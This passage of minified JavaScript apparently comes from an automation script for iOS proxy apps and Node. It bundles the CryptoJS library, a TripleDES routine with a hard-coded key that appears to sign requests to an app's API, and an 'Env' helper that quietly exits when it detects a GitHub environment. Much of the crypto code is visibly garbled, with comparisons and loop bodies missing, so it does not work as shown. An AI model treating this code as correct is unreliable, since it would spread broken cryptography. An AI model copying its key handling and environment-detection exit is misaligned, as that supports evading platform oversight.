85921,1290863460),e(2820302411,3158454273),e(3259730800,3505952657),e(3345764771,106217008),e(3516065817,3606008344),e(3600352804,1432725776),e(4094571909,1467031594),e(275423344,851169720),e(430227734,3100823752),e(506948616,1363258195),e(659060556,3750685593),e(883997877,3785050280),e(958139571,3318307427),e(1322822218,3812723403),e(1537002063,2003034995),e(1747873779,3602036899),e(1955562222,1575990012),e(2024104815,1125592928),e(2227730452,2716904306),e(2361852424,442776044),e(2428436474,593698344),e(2756734187,3733110249),e(3204031479,2999351573),e(3329325298,3815920427),e(3391569614,3928383900),e(3515267271,566280711),e(3940187606,3454069534),e(4118630271,4000239992),e(116418474,1914138554),e(174292421,2731055270),e(289380356,3203993006),e(460393269,320620315),e(685471733,587496836),e(852142971,1086792851),e(1017036298,365543100),e(1126000580,2618297676),e(1288033470,3409855158),e(1501505948,4234509866),e(1607167915,987167468),e(1816402316,1246189591)],h=[];!function(){for(var t=0;t<80;t++) +h[t]=e()}();var u=s.SHA512=r.extend({_doReset:function(){this._hash=new a.init([new o.init(1779033703,4089235720),new o.init(3144134277,2227873595),new o.init(1013904242,4271175723),new o.init(2773480762,1595750129),new o.init(1359893119,2917565137),new o.init(2600822924,725511199),new o.init(528734635,4215389547),new o.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var i=this._hash.words,n=i[0],r=i[1],c=i[2],o=i[3],a=i[4],s=i[5],u=i[6],d=i[7],_=n.high,p=n.low,f=r.high,g=r.low,m=c.high,T=c.low,v=o.high,y=o.low,S=a.high,C=a.low,E=s.high,P=s.low,A=u.high,x=u.low,I=d.high,R=d.low,b=_,O=p,w=f,L=g,F=m,N=T,B=v,D=y,M=S,k=C,V=E,W=P,G=A,z=x,U=I,Y=R,H=0;H<80;H++){var X=h[H];if(H<16) +var j=X.high=0|t[e+2*H],q=X.low=0|t[e+2*H+1];else{var Q=h[H-15],Z=Q.high,K=Q.low,J=(Z>>>1|K<<31)^(Z>>>8|K<<24)^Z>>>7,$=(K>>>1|Z<<31)^(K>>>8|Z<<24)^(K>>>7|Z<<25),tt=h[H-2],et=tt.high,it=tt.low,nt=(et>>>19|it<<13)^(et<<3|it>>>29)^et>>>6,rt=(it>>>19|et<<13)^(it<<3|et>>>29)^(it>>>6|et<<26),ct=h[H-7],ot=ct.high,at=ct.low,st=h[H-16],lt=st.high,ht=st.low,q=$+at,j=J+ot+(q>>>0<$>>>0?1:0),q=q+rt,j=j+nt+(q>>>0>>0?1:0),q=q+ht,j=j+lt+(q>>>0>>0?1:0);X.high=j,X.low=q} +var ut=M&V^~M&G,dt=k&W^~k&z,_t=b&w^b&F^w&F,pt=O&L^O&N^L&N,ft=(b>>>28|O<<4)^(b<<30|O>>>2)^(b<<25|O>>>7),gt=(O>>>28|b<<4)^(O<<30|b>>>2)^(O<<25|b>>>7),mt=(M>>>14|k<<18)^(M>>>18|k<<14)^(M<<23|k>>>9),Tt=(k>>>14|M<<18)^(k>>>18|M<<14)^(k<<23|M>>>9),vt=l[H],yt=vt.high,St=vt.low,Ct=Y+Tt,Et=U+mt+(Ct>>>0>>0?1:0),Ct=Ct+dt,Et=Et+ut+(Ct>>>0
>>0?1:0),Ct=Ct+St,Et=Et+yt+(Ct>>>0>>0?1:0),Ct=Ct+q,Et=Et+j+(Ct>>>0>>0?1:0),Pt=gt+pt,At=ft+_t+(Pt>>>0>>0?1:0);U=G,Y=z,G=V,z=W,V=M,W=k,k=D+Ct|0,M=B+Et+(k>>>0>>0?1:0)|0,B=F,D=N,F=w,N=L,w=b,L=O,O=Ct+Pt|0,b=Et+At+(O>>>0>>0?1:0)|0} +p=n.low=p+O,n.high=_+b+(p>>>0>>0?1:0),g=r.low=g+L,r.high=f+w+(g>>>0>>0?1:0),T=c.low=T+N,c.high=m+F+(T>>>0>>0?1:0),y=o.low=y+D,o.high=v+B+(y>>>0>>0?1:0),C=a.low=C+k,a.high=S+M+(C>>>0>>0?1:0),P=s.low=P+W,s.high=E+V+(P>>>0>>0?1:0),x=u.low=x+z,u.high=A+G+(x>>>0>>0?1:0),R=d.low=R+Y,d.high=I+U+(R>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,i=8*this._nDataBytes,n=8*t.sigBytes;return e[n>>>5]|=128<<24-n%32,e[30+(n+128>>>10<<5)]=Math.floor(i/4294967296),e[31+(n+128>>>10<<5)]=i,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=r.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});i.SHA512=r._createHelper(u),i.HmacSHA512=r._createHmacHelper(u)}(),function(){var e=t,i=e.x64,n=i.Word,r=i.WordArray,c=e.algo,o=c.SHA512,a=c.SHA384=o.extend({_doReset:function(){this._hash=new r.init([new n.init(3418070365,3238371032),new n.init(1654270250,914150663),new n.init(2438529370,812702999),new n.init(355462360,4144912697),new n.init(1731405415,4290775857),new n.init(2394180231,1750603025),new n.init(3675008525,1694076839),new n.init(1203062813,3204075428)])},_doFinalize:function(){var t=o._doFinalize.call(this);return t.sigBytes-=16,t}});e.SHA384=o._createHelper(a),e.HmacSHA384=o._createHmacHelper(a)}(),t.lib.Cipher||function(e){var i=t,n=i.lib,r=n.Base,c=n.WordArray,o=n.BufferedBlockAlgorithm,a=i.enc,s=(a.Utf8,a.Base64),l=i.algo,h=l.EvpKDF,u=n.Cipher=o.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,i){this.cfg=this.cfg.extend(i),this._xformMode=t,this._key=e,this.reset()},reset:function(){o.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(){function t(t){return"string"==typeof t?E:y} +return function(e){return{encrypt:function(i,n,r){return t(n).encrypt(e,i,n,r)},decrypt:function(i,n,r){return t(n).decrypt(e,i,n,r)}}}}()}),d=(n.StreamCipher=u.extend({_doFinalize:function(){return this._process(!0)},blockSize:1}),i.mode={}),_=n.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),p=d.CBC=function(){function t(t,i,n){var r=this._iv;if(r){var c=r;this._iv=e}else +var c=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},m=(n.BlockCipher=u.extend({cfg:u.cfg.extend({mode:p,padding:g}),reset:function(){u.reset.call(this);var t=this.cfg,e=t.iv,i=t.mode;if(this._xformMode==this._ENC_XFORM_MODE) +var n=i.createEncryptor;else{var n=i.createDecryptor;this._minBufferSize=1} +this._mode&&this._mode.__creator==n?this._mode.init(this,e&&e.words):(this._mode=n.call(i,this,e&&e.words),this._mode.__creator=n)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){t.pad(this._data,this.blockSize);var e=this._process(!0)}else{var e=this._process(!0);t.unpad(e)} +return e},blockSize:4}),n.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),T=i.format={},v=T.OpenSSL={stringify:function(t){var e=t.ciphertext,i=t.salt;if(i) +var n=c.create([1398893684,1701076831]).concat(i).concat(e);else +var n=e;return n.toString(s)},parse:function(t){var e=s.parse(t),i=e.words;if(1398893684==i[0]&&1701076831==i[1]){var n=c.create(i.slice(2,4));i.splice(0,4),e.sigBytes-=16} +return m.create({ciphertext:e,salt:n})}},y=n.SerializableCipher=r.extend({cfg:r.extend({format:v}),encrypt:function(t,e,i,n){n=this.cfg.extend(n);var r=t.createEncryptor(i,n),c=r.finalize(e),o=r.cfg;return m.create({ciphertext:c,key:i,iv:o.iv,algorithm:t,mode:o.mode,padding:o.padding,blockSize:t.blockSize,formatter:n.format})},decrypt:function(t,e,i,n){return n=this.cfg.extend(n),e=this._parse(e,n.format),t.createDecryptor(i,n).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),S=i.kdf={},C=S.OpenSSL={execute:function(t,e,i,n){n||(n=c.random(8));var r=h.create({keySize:e+i}).compute(t,n),o=c.create(r.words.slice(e),4*i);return r.sigBytes=4*e,m.create({key:r,iv:o,salt:n})}},E=n.PasswordBasedCipher=y.extend({cfg:y.cfg.extend({kdf:C}),encrypt:function(t,e,i,n){n=this.cfg.extend(n);var r=n.kdf.execute(i,t.keySize,t.ivSize);n.iv=r.iv;var c=y.encrypt.call(this,t,e,r.key,n);return c.mixIn(r),c},decrypt:function(t,e,i,n){n=this.cfg.extend(n),e=this._parse(e,n.format);var r=n.kdf.execute(i,t.keySize,t.ivSize,e.salt);return n.iv=r.iv,y.decrypt.call(this,t,e,r.key,n)}})}(),t.mode.CFB=function(){function e(t,e,i,n){var r=this._iv;if(r){var c=r.slice(0);this._iv=void 0}else +var c=this._prevBlock;n.encryptBlock(c,0);for(var o=0;o>>2]|=r<<24-c%4*8,t.sigBytes+=r},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},t.pad.Iso10126={pad:function(e,i){var n=4*i,r=n-e.sigBytes%n;e.concat(t.lib.WordArray.random(r-1)).concat(t.lib.WordArray.create([r<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},t.pad.Iso97971={pad:function(e,i){e.concat(t.lib.WordArray.create([2147483648],1)),t.pad.ZeroPadding.pad(e,i)},unpad:function(e){t.pad.ZeroPadding.unpad(e),e.sigBytes--}},t.mode.OFB=function(){var e=t.lib.BlockCipherMode.extend(),i=e.Encryptor=e.extend({processBlock:function(t,e){var i=this._cipher,n=i.blockSize,r=this._iv,c=this._keystream;r&&(c=this._keystream=r.slice(0),this._iv=void 0),i.encryptBlock(c,0);for(var o=0;o>>8^255&r^99,c[i]=r,o[r]=i;var f=t[i],g=t[f],m=t[g],T=257*t[r]^16843008*r;a[i]=T<<24|T>>>8,s[i]=T<<16|T>>>16,l[i]=T<<8|T>>>24,h[i]=T;var T=16843009*m^65537*g^257*f^16843008*i;u[r]=T<<24|T>>>8,d[r]=T<<16|T>>>16,_[r]=T<<8|T>>>24,p[r]=T,i?(i=f^t[t[t[m^f]]],n^=t[t[n]]):i=n=1}}();var f=[0,1,2,4,8,16,32,64,128,27,54],g=r.AES=n.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,i=t.sigBytes/4,n=this._nRounds=i+6,r=4*(n+1),o=this._keySchedule=[],a=0;a6&&a%i==4&&(s=c[s>>>24]<<24|c[s>>>16&255]<<16|c[s>>>8&255]<<8|c[255&s]):(s=s<<8|s>>>24,s=c[s>>>24]<<24|c[s>>>16&255]<<16|c[s>>>8&255]<<8|c[255&s],s^=f[a/i|0]<<24),o[a]=o[a-i]^s} +for(var l=this._invKeySchedule=[],h=0;h>>24]]^d[c[s>>>16&255]]^_[c[s>>>8&255]]^p[c[255&s]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,a,s,l,h,c)},decryptBlock:function(t,e){var i=t[e+1];t[e+1]=t[e+3],t[e+3]=i,this._doCryptBlock(t,e,this._invKeySchedule,u,d,_,p,o);var i=t[e+1];t[e+1]=t[e+3],t[e+3]=i},_doCryptBlock:function(t,e,i,n,r,c,o,a){for(var s=this._nRounds,l=t[e]^i[0],h=t[e+1]^i[1],u=t[e+2]^i[2],d=t[e+3]^i[3],_=4,p=1;p>>24]^r[h>>>16&255]^c[u>>>8&255]^o[255&d]^i[_++],g=n[h>>>24]^r[u>>>16&255]^c[d>>>8&255]^o[255&l]^i[_++],m=n[u>>>24]^r[d>>>16&255]^c[l>>>8&255]^o[255&h]^i[_++],T=n[d>>>24]^r[l>>>16&255]^c[h>>>8&255]^o[255&u]^i[_++];l=f,h=g,u=m,d=T} +var f=(a[l>>>24]<<24|a[h>>>16&255]<<16|a[u>>>8&255]<<8|a[255&d])^i[_++],g=(a[h>>>24]<<24|a[u>>>16&255]<<16|a[d>>>8&255]<<8|a[255&l])^i[_++],m=(a[u>>>24]<<24|a[d>>>16&255]<<16|a[l>>>8&255]<<8|a[255&h])^i[_++],T=(a[d>>>24]<<24|a[l>>>16&255]<<16|a[h>>>8&255]<<8|a[255&u])^i[_++];t[e]=f,t[e+1]=g,t[e+2]=m,t[e+3]=T},keySize:8});e.AES=n._createHelper(g)}(),function(){function e(t,e){var i=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=i,this._lBlock^=i<>>t^this._lBlock)&e;this._lBlock^=i,this._rBlock^=i<>>5]>>>31-r%32&1} +for(var c=this._subKeys=[],o=0;o<16;o++){for(var a=c[o]=[],u=h[o],n=0;n<24;n++) +a[n/6|0]|=i[(l[n]-1+u)%28]<<31-n%6,a[4+(n/6|0)]|=i[28+(l[n+24]-1+u)%28]<<31-n%6;a[0]=a[0]<<1|a[0]>>>31;for(var n=1;n<7;n++) +a[n]=a[n]>>>4*(n-1)+3;a[7]=a[7]<<5|a[7]>>>27} +for(var d=this._invSubKeys=[],n=0;n<16;n++) +d[n]=c[15-n]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,n,r){this._lBlock=t[n],this._rBlock=t[n+1],e.call(this,4,252645135),e.call(this,16,65535),i.call(this,2,858993459),i.call(this,8,16711935),e.call(this,1,1431655765);for(var c=0;c<16;c++){for(var o=r[c],a=this._lBlock,s=this._rBlock,l=0,h=0;h<8;h++) +l|=u[h][((s^o[h])&d[h])>>>0];this._lBlock=s,this._rBlock=a^l} +var _=this._lBlock;this._lBlock=this._rBlock,this._rBlock=_,e.call(this,1,1431655765),i.call(this,8,16711935),i.call(this,2,858993459),e.call(this,16,65535),e.call(this,4,252645135),t[n]=this._lBlock,t[n+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});n.DES=o._createHelper(_);var p=a.TripleDES=o.extend({_doReset:function(){var t=this._key,e=t.words;this._des1=_.createEncryptor(c.create(e.slice(0,2))),this._des2=_.createEncryptor(c.create(e.slice(2,4))),this._des3=_.createEncryptor(c.create(e.slice(4,6)))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});n.TripleDES=o._createHelper(p)}(),function(){function e(){for(var t=this._S,e=this._i,i=this._j,n=0,r=0;r<4;r++){e=(e+1)%256,i=(i+t[e])%256;var c=t[e];t[e]=t[i],t[i]=c,n|=t[(t[e]+t[i])%256]<<24-8*r} +return this._i=e,this._j=i,n} +var i=t,n=i.lib,r=n.StreamCipher,c=i.algo,o=c.RC4=r.extend({_doReset:function(){for(var t=this._key,e=t.words,i=t.sigBytes,n=this._S=[],r=0;r<256;r++) +n[r]=r;for(var r=0,c=0;r<256;r++){var o=r%i,a=e[o>>>2]>>>24-o%4*8&255;c=(c+n[r]+a)%256;var s=n[r];n[r]=n[c],n[c]=s} +this._i=this._j=0},_doProcessBlock:function(t,i){t[i]^=e.call(this)},keySize:8,ivSize:0});i.RC4=r._createHelper(o);var a=c.RC4Drop=o.extend({cfg:o.cfg.extend({drop:192}),_doReset:function(){o._doReset.call(this);for(var t=this.cfg.drop;t>0;t--) +e.call(this)}});i.RC4Drop=r._createHelper(a)}(),t.mode.CTRGladman=function(){function e(t){if(255==(t>>24&255)){var e=t>>16&255,i=t>>8&255,n=255&t;255===e?(e=0,255===i?(i=0,255===n?n=0:++n):++i):++e,t=0,t+=e<<16,t+=i<<8,t+=n}else +t+=1<<24;return t} +function i(t){return 0===(t[0]=e(t[0]))&&(t[1]=e(t[1])),t} +var n=t.lib.BlockCipherMode.extend(),r=n.Encryptor=n.extend({processBlock:function(t,e){var n=this._cipher,r=n.blockSize,c=this._iv,o=this._counter;c&&(o=this._counter=c.slice(0),this._iv=void 0),i(o);var a=o.slice(0);n.encryptBlock(a,0);for(var s=0;s>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(var i=0;i<8;i++){var n=t[i]+e[i],r=65535&n,c=n>>>16,o=((r*r>>>17)+r*c>>>15)+c*c,l=((4294901760&n)*n|0)+((65535&n)*n|0);s[i]=o^l} +t[0]=s[0]+(s[7]<<16|s[7]>>>16)+(s[6]<<16|s[6]>>>16)|0,t[1]=s[1]+(s[0]<<8|s[0]>>>24)+s[7]|0,t[2]=s[2]+(s[1]<<16|s[1]>>>16)+(s[0]<<16|s[0]>>>16)|0,t[3]=s[3]+(s[2]<<8|s[2]>>>24)+s[1]|0,t[4]=s[4]+(s[3]<<16|s[3]>>>16)+(s[2]<<16|s[2]>>>16)|0,t[5]=s[5]+(s[4]<<8|s[4]>>>24)+s[3]|0,t[6]=s[6]+(s[5]<<16|s[5]>>>16)+(s[4]<<16|s[4]>>>16)|0,t[7]=s[7]+(s[6]<<8|s[6]>>>24)+s[5]|0} +var i=t,n=i.lib,r=n.StreamCipher,c=i.algo,o=[],a=[],s=[],l=c.Rabbit=r.extend({_doReset:function(){for(var t=this._key.words,i=this.cfg.iv,n=0;n<4;n++) +t[n]=16711935&(t[n]<<8|t[n]>>>24)|4278255360&(t[n]<<24|t[n]>>>8);var r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],c=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];this._b=0;for(var n=0;n<4;n++) +e.call(this);for(var n=0;n<8;n++) +c[n]^=r[n+4&7];if(i){var o=i.words,a=o[0],s=o[1],l=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),h=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),u=l>>>16|4294901760&h,d=h<<16|65535&l;c[0]^=l,c[1]^=u,c[2]^=h,c[3]^=d,c[4]^=l,c[5]^=u,c[6]^=h,c[7]^=d;for(var n=0;n<4;n++) +e.call(this)}},_doProcessBlock:function(t,i){var n=this._X;e.call(this),o[0]=n[0]^n[5]>>>16^n[3]<<16,o[1]=n[2]^n[7]>>>16^n[5]<<16,o[2]=n[4]^n[1]>>>16^n[7]<<16,o[3]=n[6]^n[3]>>>16^n[1]<<16;for(var r=0;r<4;r++) +o[r]=16711935&(o[r]<<8|o[r]>>>24)|4278255360&(o[r]<<24|o[r]>>>8),t[i+r]^=o[r]},blockSize:4,ivSize:2});i.Rabbit=r._createHelper(l)}(),t.mode.CTR=function(){var e=t.lib.BlockCipherMode.extend(),i=e.Encryptor=e.extend({processBlock:function(t,e){var i=this._cipher,n=i.blockSize,r=this._iv,c=this._counter;r&&(c=this._counter=r.slice(0),this._iv=void 0);var o=c.slice(0);i.encryptBlock(o,0),c[n-1]=c[n-1]+1|0;for(var a=0;a>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(var i=0;i<8;i++){var n=t[i]+e[i],r=65535&n,c=n>>>16,o=((r*r>>>17)+r*c>>>15)+c*c,l=((4294901760&n)*n|0)+((65535&n)*n|0);s[i]=o^l} +t[0]=s[0]+(s[7]<<16|s[7]>>>16)+(s[6]<<16|s[6]>>>16)|0,t[1]=s[1]+(s[0]<<8|s[0]>>>24)+s[7]|0,t[2]=s[2]+(s[1]<<16|s[1]>>>16)+(s[0]<<16|s[0]>>>16)|0,t[3]=s[3]+(s[2]<<8|s[2]>>>24)+s[1]|0,t[4]=s[4]+(s[3]<<16|s[3]>>>16)+(s[2]<<16|s[2]>>>16)|0,t[5]=s[5]+(s[4]<<8|s[4]>>>24)+s[3]|0,t[6]=s[6]+(s[5]<<16|s[5]>>>16)+(s[4]<<16|s[4]>>>16)|0,t[7]=s[7]+(s[6]<<8|s[6]>>>24)+s[5]|0} +var i=t,n=i.lib,r=n.StreamCipher,c=i.algo,o=[],a=[],s=[],l=c.RabbitLegacy=r.extend({_doReset:function(){var t=this._key.words,i=this.cfg.iv,n=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],r=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];this._b=0;for(var c=0;c<4;c++) +e.call(this);for(var c=0;c<8;c++) +r[c]^=n[c+4&7];if(i){var o=i.words,a=o[0],s=o[1],l=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),h=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),u=l>>>16|4294901760&h,d=h<<16|65535&l;r[0]^=l,r[1]^=u,r[2]^=h,r[3]^=d,r[4]^=l,r[5]^=u,r[6]^=h,r[7]^=d;for(var c=0;c<4;c++) +e.call(this)}},_doProcessBlock:function(t,i){var n=this._X;e.call(this),o[0]=n[0]^n[5]>>>16^n[3]<<16,o[1]=n[2]^n[7]>>>16^n[5]<<16,o[2]=n[4]^n[1]>>>16^n[7]<<16,o[3]=n[6]^n[3]>>>16^n[1]<<16;for(var r=0;r<4;r++) +o[r]=16711935&(o[r]<<8|o[r]>>>24)|4278255360&(o[r]<<24|o[r]>>>8),t[i+r]^=o[r]},blockSize:4,ivSize:2});i.RabbitLegacy=r._createHelper(l)}(),t.pad.ZeroPadding={pad:function(t,e){var i=4*e;t.clamp(),t.sigBytes+=i-(t.sigBytes%i||i)},unpad:function(t){for(var e=t.words,i=t.sigBytes-1;!(e[i>>>2]>>>24-i%4*8&255);) +i--;t.sigBytes=i+1}},CryptoJSs=t;} +function a(t){var CryptoJS=new CryptoJSs;var e=CryptoJS.enc.Utf8.parse("fn0chlrwxspujttbg9feqfatelupq0q1qc9ukx1ykifkco9rfqepqd4tk4ymshn0"),i=CryptoJS.enc.Utf8.parse(t),n=CryptoJS.enc.Hex.parse("00000000"),r=CryptoJS.TripleDES.encrypt(i,e,{iv:n});return encodeURIComponent(r.toString())} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 